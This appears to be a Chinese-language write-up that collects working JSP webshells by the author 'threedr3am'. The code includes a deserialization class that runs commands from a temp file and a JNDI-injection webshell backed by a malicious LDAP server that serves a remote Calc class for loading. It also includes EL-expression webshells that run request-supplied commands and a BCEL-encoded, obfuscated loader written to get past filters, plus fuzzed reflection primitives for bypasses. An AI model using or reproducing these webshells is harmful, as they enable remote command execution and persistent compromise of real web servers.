import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; /** * @author threedr3am */ public class Threedr3am_12 implements Serializable { private static final long serialVersionUID = 1L; private void readObject(ObjectInputStream is) throws Throwable { StringBuilder stringBuilder = new StringBuilder(); try { String tmp = System.getProperty("java.io.tmpdir"); String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD"))); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } } catch (Throwable e) { e.printStackTrace(); } throw new Throwable(stringBuilder.toString()); } public static void main(String[] args) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); new ObjectOutputStream(byteArrayOutputStream).writeObject(new Threedr3am_12()); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); } }
只要把这个class文件base64一下,放到jsp马就ok了,理论上这个马挺不错的,如果不禁用Class.forName、URLClassLoader、readObject,那因为可以随意引入jar或者class,那么也就是说可以无限拓展了,比如我可以引入common-collections,也能自己写个jar等等。
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %> <% System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName(request.getParameter("threedr3am"));//ldap://localhost:43658/Calc try { jdbcRowSet.setAutoCommit(true); } catch (Throwable e) { response.getOutputStream().write(e.getCause().getMessage().getBytes()); } %>
很多人说jndi有版本限制,其实只要把com.sun.jndi.ldap.object.trustURLCodebase设置为true就没有任何限制。
jndi的利用手法不用我说了吧?算了,还是贴点代码吧。
Calc.java:
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; /** * @author LaoHai */ public class Calc { static { StringBuilder stringBuilder = new StringBuilder(); try { String cmd = "whoami"; InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } } catch (Throwable e) { e.printStackTrace(); } Integer.parseInt(stringBuilder.toString()); } public static void main(String[] args) { } }
LdapServer.java:
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; /** * LDAP server * * @author threedr3am */ public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static byte[] classData; public static void main(String[] args) { run(args); } public static void run(String[] args) { int port = args.length > 0 ? Integer.parseInt(args[0]) : 43658; //TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可 String url = args.length > 0 ? args[1] : "http://localhost/#Calc"; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } }
OperationInterceptor.java:
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; public class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor(URL cb) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat("")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Calc"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } //todo <= jdk8u191 e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }
因为引入了ldap sdk,所以,需要去maven仓库下载个unboundid-ldapsdk-3.1.1.jar
具体的使用:
javac -cp unboundid-ldapsdk-3.1.1.jar:. LdapServer.java
jar cvf LdapServer.jar LdapServer.class OperationInterceptor.class
打包成LdapServer.jarjava -cp LdapServer.jar:unboundid-ldapsdk-3.1.1.jar LdapServer 12345 "http://127.0.0.1:80/#Calc"
,其中12345为ldap server的端口,"http://127.0.0.1:80/#Calc"中的127.0.0.1:80为上一步中可访问的http服务器,因为Calc.class存放于http服务器根目录,所以为Calc(Calc存放在http服务器的文件有后缀.class,但是参数不需要.class)<%@ page import="javax.el.ELProcessor" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <% StringBuilder stringBuilder = new StringBuilder(); String cmd = request.getParameter("cvedr3am"); for (String tmp:cmd.split(" ")) { stringBuilder.append("'").append(tmp).append("'").append(","); } String f = stringBuilder.substring(0, stringBuilder.length() - 1); ELProcessor processor = new ELProcessor(); Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")"); InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder2 = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder2.append(line).append("\n"); } if (stringBuilder2.length() > 0) { response.getOutputStream().write(stringBuilder2.toString().getBytes()); } %>
这个马需要利用tomcat的环境,不是非常通用,但是胜在简单,而且,若ELProcessor被禁了之后,或者eval方法被禁之后,通过研究其源码,发现还能这样用,又是一个bypass:
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.el.ELContext" %>
<%@ page import="javax.el.ELManager" %>
<%@ page import="javax.el.ExpressionFactory" %>
<%@ page import="javax.el.ValueExpression" %>
<%@ page import="sun.misc.IOUtils" %>
<%
String cmd = request.getParameter("threedr3am");
StringBuilder stringBuilder = new StringBuilder();
for (String tmp:cmd.split(" ")) {
stringBuilder.append("'").append(tmp).append("'").append(",");
}
String f = stringBuilder.substring(0, stringBuilder.length() - 1);
String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")";
ELManager manager = new ELManager();
ELContext context = manager.getELContext();
ExpressionFactory factory = ELManager.getExpressionFactory();
ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class);
InputStream inputStream = ((Process)ve.getValue(context)).getInputStream();
response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false));
%>
<%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %>
<%@ page import="java.io.ByteArrayInputStream" %>
<%@ page import="java.lang.reflect.Array" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.Provider.Service" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.List" %>
<%@ page import="javax.activation.DataHandler" %>
<%@ page import="javax.activation.DataSource" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="javax.crypto.CipherInputStream" %>
<%@ page import="javax.crypto.CipherSpi" %>
<%@ page import="jdk.nashorn.internal.objects.Global" %>
<%@ page import="jdk.nashorn.internal.objects.NativeString" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Paths" %>
<html>
<body>
<h2>BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell</h2>
<%
String tmp = System.getProperty("java.io.tmpdir");
Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());
Class serviceNameClass = Class
.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class);
serviceNameConstructor.setAccessible(true);
Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null);
Object serviceNameArray = Array.newInstance(serviceNameClass, 1);
Array.set(serviceNameArray, 0, serviceName);
Class lazyIteratorClass = Class
.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1];
lazyIteratorConstructor.setAccessible(true);
Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader());
Field namesField = lazyIteratorClass.getDeclaredField("names");
namesField.setAccessible(true);
namesField.set(lazyIterator, serviceNameArray);
Constructor cipherConstructor = Cipher.class
.getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class,
List.class);
cipherConstructor.setAccessible(true);
Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null);
Field opmodeField = Cipher.class.getDeclaredField("opmode");
opmodeField.setAccessible(true);
opmodeField.set(cipher, 1);
Field initializedField = Cipher.class.getDeclaredField("initialized");
initializedField.setAccessible(true);
initializedField.set(cipher, true);
CipherInputStream cipherInputStream = new CipherInputStream(
new ByteArrayInputStream(new byte[0]), cipher);
Class xmlDataSourceClass = Class
.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");
Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0];
xmlDataSourceConstructor.setAccessible(true);
DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor
.newInstance("", cipherInputStream);
DataHandler dataHandler = new DataHandler(xmlDataSource);
Base64Data base64Data = new Base64Data();
Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler");
dataHandlerField.setAccessible(true);
dataHandlerField.set(base64Data, dataHandler);
Constructor NativeStringConstructor = NativeString.class
.getDeclaredConstructor(CharSequence.class, Global.class);
NativeStringConstructor.setAccessible(true);
NativeString nativeString = (NativeString) NativeStringConstructor
.newInstance(base64Data, new Global(new Context(new Options(""), null, null)));
try {
new HashMap<>().put(nativeString, "111");
} catch (Throwable e) {
response.getOutputStream().write(e.getCause().getMessage().getBytes());
}
%>
</body>
</html>
其实这个就是最早出现在某个序列化组件被发现的gadget
Threedr3am_15:
import java.io.BufferedReader; import java.io.File; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.file.Files; import java.nio.file.Paths; /** * @author threedr3am */ public class Threedr3am_15 { static { StringBuilder stringBuilder = new StringBuilder(); try { String tmp = System.getProperty("java.io.tmpdir"); String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD"))); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } } catch (Throwable e) { e.printStackTrace(); } Integer.parseInt(stringBuilder.toString()); } }
Threedr3am_make:
import com.sun.org.apache.bcel.internal.classfile.Utility; import java.io.BufferedReader; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.file.Files; import java.nio.file.Paths; /** * @author threedr3am */ public class Threedr3am_make { public static void main(String[] args) throws IOException { InputStream inputStream = Threedr3am_make.class.getClassLoader().getResourceAsStream("Threedr3am_15.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); String code = "$$BCEL$$" + Utility.encode(bytes, true); bytes = code.getBytes(); for (int i = 0; i < bytes.length; i++) { System.out.print(bytes[i]); if (i != bytes.length - 1) System.out.print(","); } } }
最后,送上一些从jdk lib的jar中fuzz出来的一些可能有用的东西把
Method method = Threedr3am.class.getMethod("a"); method.invoke(null);
Method method = Threedr3am.class.getMethod("a"); ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction()); MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method); methodAccessor.invoke(null, null);
Method method = Main.class.getDeclaredMethod("a"); JSClassLoader.invoke(method, null, null);
Constructor constructor = Main.class.getConstructor(); JSClassLoader.newInstance(constructor, null);
sun.reflect.misc.ReflectUtil
ReflectUtil.forName("java.lang.String")
sun.invoke.util.BytecodeDescriptor.parseMethod("(Ljava/lang/String;)V", null).get(0);
Class.forName("java.lang.String");
Thread.currentThread().getContextClassLoader().loadClass("java.lang.String");
sun.reflect.misc.MethodUtil
MethodUtil.getMethod(String.class, "valueOf", new Class[]{int.class});
sun.reflect.misc.FieldUtil
FieldUtil.getField(String.class, "a");
sun.reflect.misc.ConstructorUtil
sun.reflect.misc.ConstructorUtil#getConstructor